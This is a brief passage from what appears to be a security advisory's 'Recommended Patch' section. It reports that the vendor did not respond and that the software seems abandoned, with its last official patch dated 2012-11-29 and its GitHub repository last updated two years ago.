Recommended Patch:
|
||
We were not able to get the vendor to respond in any way, the software
|
||
appears to have been left abandoned without support – though this is not an
|
||
official status on their site (last official patch was released on
|
||
2012-11-29), the GitHub appears a bit more active (last commit from 2 years
|
||
ago).

||
